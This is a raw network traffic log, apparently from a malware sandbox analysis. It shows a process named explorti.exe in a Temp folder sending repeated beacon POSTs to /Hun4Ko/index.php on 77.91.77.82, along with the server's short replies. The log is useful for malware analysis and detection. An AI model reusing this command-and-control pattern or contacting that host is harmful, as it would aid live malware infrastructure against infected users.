Jul 2, 2024 04:13:44.295680046 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:44.548326015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	54838	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:44.664799929 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:45.354466915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:45.355340958 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:45.574151039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	54839	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:45.695436954 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:46.390404940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:46.391324043 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:46.619321108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	54840	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:46.726241112 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:47.462407112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:47.465179920 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:47.697082996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	54841	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:47.804848909 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:48.498660088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:48.499461889 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:48.714771986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	54842	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:48.846317053 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:50.037920952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:50.037938118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:50.038180113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:50.038700104 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:50.254451990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	54843	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:50.366894960 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:51.086327076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:51.087348938 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:51.308254004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	54844	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:51.429337978 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:52.136758089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:52.137449026 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:52.357327938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	54845	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:52.476514101 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:53.178345919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:53.179080963 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:53.402663946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	54846	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:53.524761915 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:54.234169006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:54.235188007 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:54.450372934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	54847	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:54.570410013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:55.282747984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:55.283735037 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:55.506113052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	54848	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:55.617013931 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:56.336205959 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:56.336965084 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:56.560735941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	54849	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:56.679358006 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:57.392265081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:57.393155098 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 